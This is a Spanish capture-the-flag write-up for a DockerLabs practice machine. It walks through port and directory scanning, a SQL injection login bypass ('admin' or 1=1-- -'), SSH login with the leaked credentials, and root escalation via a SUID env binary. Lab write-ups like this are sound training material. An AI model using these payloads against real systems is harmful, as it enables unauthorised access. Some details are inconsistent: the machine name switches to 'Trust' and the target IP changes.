Injection
Introducción
Sección titulada «Introducción»En este artículo explico cómo resolví el CTF de la máquina virtual Injection, creada por El Pingüino de Mario. Detallo paso a paso las técnicas y herramientas empleadas para identificar y explotar las vulnerabilidades presentes.
Información de la Máquina Virtual
Sección titulada «Información de la Máquina Virtual»- Nombre: Trust
- Autor: El Pingüino de Mario
- Nivel de dificultad: Fácil
- Fecha de creación: 09/04/2024
Paso 0: Instalación / Despliegue
Sección titulada «Paso 0: Instalación / Despliegue»-
Descargamos la máquina desde DockerLabs.
-
Descomprimimos el archivo ZIP:
Ventana de terminal unzip Injection.zip -
Ejecutamos el script de despliegue:
Ventana de terminal sudo bash auto_deplo.sh Injection.tar
Paso 1: Reconocimiento
Sección titulada «Paso 1: Reconocimiento»Escaneo de Red
Sección titulada «Escaneo de Red»La máquina muestra su IP al ser desplegada, por lo que no fue necesario realizar un escaneo con arp.

Creamos un entorno de trabajo organizado con mkt, una función personalizada de terminal:
mkdir Injectioncd Injectionmkt # Crea carpetas: content, exploits, nmap, scriptsEscaneo de Puertos
Sección titulada «Escaneo de Puertos»En la carpeta nmap, iniciamos un escaneo de todos los puertos:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsExtraemos los puertos abiertos del archivo generado:
extractPorts allPorts
Escaneo más detallado del servicio en el puerto 80:
nmap -sCV -p80 172.17.0.2 -oN targeted
Enumeración Web
Sección titulada «Enumeración Web»Enumeramos directorios en el servicio HTTP:
gobuster dir -u http://172.18.0.2/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,txt -t 200
Se detecta la existencia de un archivo config.php, pero no es accesible directamente. En el index.php aparece un formulario de login:

Paso 2: Explotación
Sección titulada «Paso 2: Explotación»Intentamos una inyección SQL básica en el login usando:
- Usuario:
admin' or 1=1-- - - Contraseña: cualquier valor
Esto nos permite autenticarnos exitosamente y acceder a información sensible:

Con esas credenciales accedemos a la máquina por SSH.
Elevación de Privilegios
Sección titulada «Elevación de Privilegios»Primero intentamos:
sudo -lPero el comando sudo no está instalado:

Buscamos binarios con permisos SUID:
find / -perm -4000 2>/dev/nullEsto nos muestra varias posibles vías de explotación:

Usamos la herramienta searchbins para automatizar la búsqueda en GTFOBins:
searchbins -b env -aEl binario /usr/bin/env tiene permisos de SUID. Ejecutamos:
/usr/bin/env /bin/bashCon esto, obtenemos acceso como root:

Conclusión
Sección titulada «Conclusión»La máquina Trust ofreció un entorno ideal para practicar una inyección SQL básica y la escalada de privilegios usando binarios SUID. Su nivel de dificultad fue coherente con lo anunciado: muy fácil.